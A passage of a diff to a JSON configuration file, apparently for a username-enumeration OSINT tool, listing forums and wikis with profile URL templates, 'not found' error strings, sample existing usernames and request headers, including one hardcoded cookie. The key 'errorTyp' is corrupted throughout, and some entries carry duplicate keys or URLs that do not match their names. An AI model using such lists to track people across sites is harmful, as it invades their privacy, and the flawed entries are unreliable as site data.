+ "usernameON": "CRHoman",
+ "bad_site": ""
+ },
+ "Weld": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "Сварочный Форум ",
+ "errorTyp��": "message",
+ "url": "https://weld.in.ua/forum/member.php/?username={}",
+ "urlMain": "https://weld.in.ua",
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Wfts": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Ошибка: игрок не найден",
+ "errorMsg2": "Warface TrueSight | Профиль игрока не существует ",
+ "errorMsg3": "не существует",
+ "errorTyp��": "message",
+ "url": "https://wfts.su/profile/{}",
+ "urlMain": "https://wfts.su/",
+ "usernameON": "%D0%9B%D0%90%D0%A0%D0%A0%D0%9830",
+ "bad_site": ""
+ },
+ "Whitewaterguidebook": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.whitewaterguidebook.com/forums/users/{}/",
+ "urlMain": "https://www.whitewaterguidebook.com",
+ "usernameON": "justincarson",
+ "bad_site": ""
+ },
+ "Whonix": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No results found.",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "search":"{\\"posts\\":[],\\"users\\":[],\\"categories",
+ "errorTyp��": "message",
+ "url": "https://forums.whonix.org/search?expanded=true&q=%40{}",
+ "urlMain": "https://forums.whonix.org/",
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Whyislam": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Не найдено",
+ "errorMsg2": "0 пользоват",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.whyislam.to/forum/memberlist.php?username={}",
+ "urlMain": "https://www.whyislam.to/",
+ "usernameON": "adam",
+ "headers": {
+ "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
+ "DNT": "1",
+ "Priority": "u=1",
+ "Connection": "keep-alive",
+ "Sec-Fetch-Dest": "document",
+ "Sec-Fetch-Mode": "navigate",
+ "Sec-Fetch-Site": "none",
+ "Sec-Fetch-User": "?1",
+ "Sec-GPC": "1",
+ "Cookie": "SUB=_2AkMQFRkHf8NxqwFRmf4WyW7haIt_ywnEieKmSejcJRMxHRl-yT9kqkpStRB6O5U36I0wj1ke-VrTHS_G3IfYEdZRb2jF",
+ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0"
+ },
+ "bad_site": ""
+ },
+ "Wickeditor": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forum.wickeditor.com/u/{}/summary",
+ "urlMain": "https://forum.wickeditor.com",
+ "usernameON": "jayanimatic",
+ "bad_site": ""
+ },
+ "Wikidot": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "User does not exist.",
+ "errorMsg2": "Wikidot is not available in Russia",
+ "errorTyp��": "message",
+ "url": "http://www.wikidot.com/user:info/{}",
+ "urlMain": "http://www.wikidot.com/",
+ "usernameON": "blue",
+ "comments": "RUblock",
+ "bad_site": ""
+ },
+ "Wikigrib": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Энциклопедия грибов «ВикиГриб» ",
+ "errorMsg2": "pagetitle\">Ваша страница",
+ "errorTyp��": "message",
+ "url": "https://wikigrib.ru/author/{}/",
+ "urlMain": "https://wikigrib.ru",
+ "usernameON": "sergeym",
+ "bad_site": ""
+ },
+ "Wikihow": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://www.wikihow.com/Author/{}",
+ "urlMain": "https://www.wikihow.com",
+ "usernameON": "Ikaika-Cox",
+ "bad_site": ""
+ },
+ "Wikiloc": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://www.wikiloc.com/wikiloc/findPeople.do?name={}",
+ "urlMain": "https://www.wikiloc.com",
+ "usernameON": "LosK2delasKumbres",
+ "bad_site": ""
+ },
+ "Wikimapia": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "1 ",
+ "errorMsg2": "4 ",
+ "errorTyp��": "message",
+ "exclusion": "[а-яА-Я]",
+ "url": "http://wikimapia.org/user/tools/users_rating/?username={}",
+ "urlMain": "http://wikimapia.org",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Wikipedia": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "is not registered",
+ "errorMsg2": "Wikipedia does not have",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.wikipedia.org/wiki/User:{}",
+ "urlMain": "https://www.wikipedia.org/",
+ "usernameON": "Zanuda_petro",
+ "bad_site": ""
+ },
+ "Wikipediocracy": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Sorry but you cannot use",
+ "errorMsg2": "No suitable matches were found.",
+ "errorMsg3": "Information ",
+ "errorTyp��": "message",
+ "url": "https://wikipediocracy.com/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://wikipediocracy.com",
+ "usernameON": "Anroth",
+ "bad_site": ""
+ },
+ "Wikiquote": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://ru.wikiquote.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}",
+ "urlMain": "https://ru.wikiquote.org",
+ "usernameON": "Zwyciezca",
+ "bad_site": ""
+ },
+ "Wikivoyage": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://ru.wikivoyage.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}",
+ "urlMain": "https://ru.wikivoyage.org",
+ "usernameON": "Savh",
+ "bad_site": ""
+ },
+ "Wiktionary": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://ru.wiktionary.org/w/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}&action=view",
+ "urlMain": "https://ru.wiktionary.org",
+ "usernameON": "Merdiginn",
+ "bad_site": ""
+ },
+ "Wild-nature": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Наши авторы | Дикая природа в фотографиях и рассказах ",
+ "errorMsg2": "Страница не найдена",
+ "errorTyp��": "message",
+ "url": "http://www.wild-nature.ru/users/{}",
+ "urlMain": "http://www.wild-nature.ru",
+ "usernameON": "lana75",
+ "bad_site": ""
+ },
+ "Wimkin": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://wimkin.com/{}",
+ "urlMain": "https://wimkin.com",
+ "usernameON": "JRourke",
+ "bad_site": ""
+ },
+ "Windows10forums": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "url": "https://www.windows10forums.com/members/?username={}",
+ "urlMain": "https://www.windows10forums.com/",
+ "usernameON": "adam",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Windowsforum": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "url": "https://windowsforum.com/members/?username={}",
+ "urlMain": "https://windowsforum.com",
+ "usernameON": "adam",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Windy": {
+ "country": "🇨🇿",
+ "country_klas": "CZ",
+ "errorTyp��": "status_code",
+ "url": "https://community.windy.com/user/{}",
+ "urlMain": "https://windy.com/",
+ "usernameON": "blue",
+ "comments": "ZAK_user",
+ "bad_site": 1
+ },
+ "Wineberserkers": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.wineberserkers.com/u/{}/summary",
+ "urlMain": "https://www.wineberserkers.com",
+ "usernameON": "ybarselah",
+ "bad_site": ""
+ },
+ "Winnipegwatch": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "was not found.",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://winnipegwatch.websitetoolbox.com/search?keywords=&searchin=message&member={}&do=findposts&id=&replies=atleast&numreplies=0&daterange=0&custdatefrom=&custdateto=&sort=&order=desc&radio_showas=threads&btnSearch=Search&action=doSearch",
+ "urlMain": "https://winnipegwatch.websitetoolbox.com",
+ "usernameON": "Prevost12",
+ "comments": "cf",
+ "bad_site": 1
+ },
+ "Wireclub": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "response_url",
+ "url": "https://www.wireclub.com/users/{}",
+ "urlMain": "https://www.wireclub.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Wiscobourbon": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://wiscobourbon.com/forums/users/{}/",
+ "urlMain": "https://wiscobourbon.com",
+ "usernameON": "lbourbonlover123",
+ "bad_site": ""
+ },
+ "Wishlistr": {
+ "country": "🇸🇪",
+ "country_klas": "SE",
+ "errorMsg": "robots\" content=\"noindex, nofollow",
+ "errorMsg2": "Page Not Found",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.wishlistr.com/profile/{}",
+ "urlMain": "https://www.wishlistr.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Witchnest": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Domain Error Page",
+ "errorMsg2": "Страница не найдена",
+ "errorMsg3": "; ",
+ "errorTyp��": "message",
+ "url": "https://witchnest.ru/user/{}/",
+ "urlMain": "https://witchnest.ru",
+ "comments": "super",
+ "usernameON": "Polina",
+ "bad_site": ""
+ },
+ "Wittyprofiles": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "It looks like you are looking for something that isn't here.",
+ "errorMsg2": "QT Media 404 ",
+ "errorTyp��": "message",
+ "url": "http://www.wittyprofiles.com/author/{}",
+ "urlMain": "http://www.wittyprofiles.com/",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Wix": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://{}.wix.com",
+ "urlMain": "https://wix.com/",
+ "usernameON": "support",
+ "bad_site": ""
+ },
+ "Wolpy": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "ItPage not found",
+ "errorMsg2": "doesn't exist",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://wolpy.com/{}",
+ "urlMain": "https://wolpy.com",
+ "usernameON": "FaustinFavreau",
+ "bad_site": ""
+ },
+ "Wordart": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://wordart.com/gallery/user/{}",
+ "urlMain": "https://wordart.com",
+ "usernameON": "Jarmiviktoria",
+ "bad_site": ""
+ },
+ "WordPress": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "response_url",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://{}.wordpress.com/",
+ "urlMain": "https://wordpress.com",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "WordPressOrg": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://profiles.wordpress.org/{}/",
+ "urlMain": "https://wordpress.org/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Worldofwarcraft_blizzard": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorMsg": "Error 404",
+ "errorMsg2": "WoW \n",
+ "errorTyp��": "message",
+ "url": "http://movie-club.ru/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://movie-club.ru",
+ "usernameON": "apollion",
+ "bad_site": ""
+ },
+ "Forum_mow-portal": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://mow-portal.ru/index/8-0-{}",
+ "urlMain": "https://mow-portal.ru",
+ "usernameON": "alexeyeryomchenko",
+ "bad_site": ""
+ },
+ "Forum_mozhaysk": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://mozhaysk.my1.ru/index/8-0-{}",
+ "urlMain": "https://mozhaysk.my1.ru",
+ "usernameON": "vilniy",
+ "bad_site": ""
+ },
+ "Forum_mozilla-russia": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "По вашему запросу ничего не найдено",
+ "errorMsg2": "403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://mradchenko-ezo.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://mradchenko-ezo.ucoz.ru",
+ "usernameON": "Telejaw",
+ "bad_site": ""
+ },
+ "Forum_msa-iptv": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "Користувача не знайдено",
+ "errorTyp��": "message",
+ "url": "http://msa-iptv.net/index/8-0-{}",
+ "urlMain": "http://msa-iptv.net",
+ "usernameON": "grigorili",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_msextra": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No suitable matches were found.",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "search at this time",
+ "errorTyp��": "message",
+ "url": "https://www.msextra.com/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "https://www.msextra.com",
+ "usernameON": "Laminar",
+ "bad_site": ""
+ },
+ "Forum_msfn": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://msfn.org/board/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://msfn.org",
+ "usernameON": "lmacri",
+ "bad_site": ""
+ },
+ "Forum_msiu": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://msiwind.ucoz.net/index/8-0-{}",
+ "urlMain": "https://msiwind.ucoz.net",
+ "usernameON": "TimurR",
+ "bad_site": ""
+ },
+ "Forum_mskwa": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "ничего не найдено",
+ "errorMsg2": "Информация ",
+ "errorTyp��": "message",
+ "url": "https://mskwa.foroesp.com/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC",
+ "urlMain": "https://mskwa.foroesp.com",
+ "usernameON": "tony",
+ "bad_site": ""
+ },
+ "Forum_mssuao": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://mssuao.my1.ru/index/8-0-{}",
+ "urlMain": "https://mssuao.my1.ru/",
+ "usernameON": "roterb",
+ "bad_site": ""
+ },
+ "Forum_mt5": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "This user has not registered and therefore does not have a profile to view.",
+ "errorMsg2": "Forex Forum | Forex Trading Forums | MT5 Forum ",
+ "errorTyp��": "message",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://forum.mt5.com/member.php?username={}",
+ "urlMain": "https://forum.mt5.com",
+ "usernameON": "adam",
+ "bad_site": 1
+ },
+ "Forum_mta-info": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://mta-info.ru/index/8-0-{}",
+ "urlMain": "https://mta-info.ru",
+ "usernameON": "Online",
+ "bad_site": ""
+ },
+ "Forum_mtbr": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.mtbr.com/members/?username={}",
+ "urlMain": "https://www.mtbr.com",
+ "usernameON": "aargar",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_mucs": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://mucs.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://mucs.ucoz.ru",
+ "usernameON": "Shinjitzu",
+ "bad_site": ""
+ },
+ "Forum_muffingroup": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://forum.muffingroup.com/betheme/profile/{}",
+ "urlMain": "https://forum.muffingroup.com",
+ "usernameON": "charlie27",
+ "bad_site": ""
+ },
+ "Forum_muppet": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "This user has not filled",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "Sorry, ",
+ "errorTyp��": "message",
+ "headers": {
+ "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
+ "DNT": "1",
+ "Priority": "u=1",
+ "Connection": "keep-alive",
+ "Sec-Fetch-Dest": "document",
+ "Sec-Fetch-Mode": "navigate",
+ "Sec-Fetch-Site": "none",
+ "Sec-Fetch-User": "?1",
+ "Sec-GPC": "1",
+ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0"
+ },
+ "exclusion": "[а-яА-Я]",
+ "url": "https://muppet.fandom.com/wiki/User:{}",
+ "urlMain": "https://muppet.fandom.com",
+ "usernameON": "Reidtaub",
+ "bad_site": ""
+ },
+ "Forum_musclemecca": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://musclemecca.com/members/?username={}",
+ "urlMain": "https://musclemecca.com",
+ "usernameON": "tkd",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_musflat": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "К сожалению",
+ "errorMsg2": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://musflat.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top",
+ "urlMain": "https://musflat.kamrbb.ru",
+ "usernameON": "555serg2005",
+ "bad_site": ""
+ },
+ "Forum_musik3": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://musik3.ucoz.ru/index/8-0-{}",
+ "urlMain": "http://musik3.ucoz.ru/",
+ "usernameON": "Futbolki",
+ "bad_site": ""
+ },
+ "Forum_muz-tv": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://muz-tv-forum.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://muz-tv-forum.ucoz.ru",
+ "usernameON": "nadinvorobei",
+ "bad_site": ""
+ },
+ "Forum_muzcom": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "К сожалению",
+ "errorMsg2": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://muzcom.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top",
+ "urlMain": "https://muzcom.kamrbb.ru",
+ "usernameON": "%CA%EE%ED%F0%E0%E4",
+ "bad_site": ""
+ },
+ "Forum_muzlar": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "К сожалению",
+ "errorMsg2": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://muzlar.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top",
+ "urlMain": "https://muzlar.kamrbb.ru",
+ "usernameON": "%F8%F3%EC%E8%EB%E8%ED",
+ "bad_site": ""
+ },
+ "Forum_mxlinux": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No suitable matches were found.",
+ "errorMsg2": "Information",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://forum.mxlinux.org/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://forum.mxlinux.org",
+ "usernameON": "Stevo",
+ "bad_site": ""
+ },
+ "Forum_mya": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.mya-uk.org.uk/forums/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://www.mya-uk.org.uk",
+ "usernameON": "downbytheriver",
+ "bad_site": ""
+ },
+ "Forum_myaudiq5": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.myaudiq5.com/members/?username={}",
+ "urlMain": "https://www.myaudiq5.com",
+ "usernameON": "sargeq5",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_mybb": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "По вашему запросу ничего не найдено.",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "url": "https://forum.mybb.ru/search.php?action=search&keywords=&author={}",
+ "urlMain": "https://forum.mybb.ru",
+ "usernameON": "Deff",
+ "bad_site": ""
+ },
+ "Forum_mybeautyconsultant": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://mybeautyconsultant.net/forum/members/?username={}",
+ "urlMain": "https://mybeautyconsultant.net",
+ "usernameON": "blackcoffee",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_Mybirds": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "0 результатов",
+ "errorMsg2": "Пожалуйста, ",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.mybirds.ru/forums/search/?&q={}&type&quick=1&search_and_or=or&sortby=relevancy",
+ "urlMain": "https://www.mybirds.ru/",
+ "usernameON": "Tanban",
+ "bad_site": ""
+ },
+ "Forum_mybmwi3": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.mybmwi3.com/members/?username={}",
+ "urlMain": "https://www.mybmwi3.com",
+ "usernameON": "robjones",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_mychevybolt": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.mychevybolt.com/members/?username={}",
+ "urlMain": "https://www.mychevybolt.com",
+ "usernameON": "timetoy",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_mycity-military": {
+ "country": "🇪🇺",
+ "country_klas": "EU",
+ "errorMsg": "tim imenom ne postoji ",
+ "errorMsg2": "MyCity Military ",
+ "errorTyp��": "message",
+ "url": "https://www.mycity-military.com/Korisnik/{}/",
+ "urlMain": "https://www.mycity-military.com",
+ "usernameON": "Milija",
+ "bad_site": ""
+ },
+ "Forum_mycoffee": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://mycoffee.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://mycoffee.ucoz.ru",
+ "usernameON": "Азазелло",
+ "bad_site": ""
+ },
+ "Forum_mycoweb": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403",
+ "errorTyp��": "message",
+ "url": "https://myfc.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://myfc.ucoz.ru",
+ "usernameON": "jag",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_myfocuselectric": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.myfocuselectric.com/members/?username={}",
+ "urlMain": "https://www.myfocuselectric.com",
+ "usernameON": "atikovi",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_myfriendsclub": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://myfriendsclub.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://myfriendsclub.ucoz.ru",
+ "usernameON": "crasnovp1t",
+ "bad_site": ""
+ },
+ "Forum_myfxbook": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://www.myfxbook.com/members/{}",
+ "urlMain": "https://www.myfxbook.com",
+ "usernameON": "esmumuex",
+ "bad_site": ""
+ },
+ "Forum_mygolfspy": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "Sorry, page not found",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://forum.mygolfspy.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://forum.mygolfspy.com",
+ "usernameON": "bmdubya",
+ "bad_site": ""
+ },
+ "Forum_myimiev": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://myimiev.com/members/?username={}",
+ "urlMain": "https://myimiev.com",
+ "usernameON": "jray3",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_myimmortal": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> - Женские форумы myJane",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Извините,",
+ "errorTyp��": "message",
+ "url": "http://forum.myjane.ru/profile.php?mode=viewprofile&u={}",
+ "urlMain": "http://forum.myjane.ru/",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Forum_mymbonline": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.mymbonline.com/members/?username={}",
+ "urlMain": "https://www.mymbonline.com",
+ "usernameON": "odehboy",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_mymoscow": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://myslonim.by/index/8-0-{}",
+ "urlMain": "http://myslonim.by",
+ "usernameON": "wellnemo",
+ "bad_site": ""
+ },
+ "Forum_myst": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://myst.ucoz.com/index/8-0-{}",
+ "urlMain": "https://myst.ucoz.com",
+ "usernameON": "vetal99977",
+ "bad_site": ""
+ },
+ "Forum_mystic-school": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
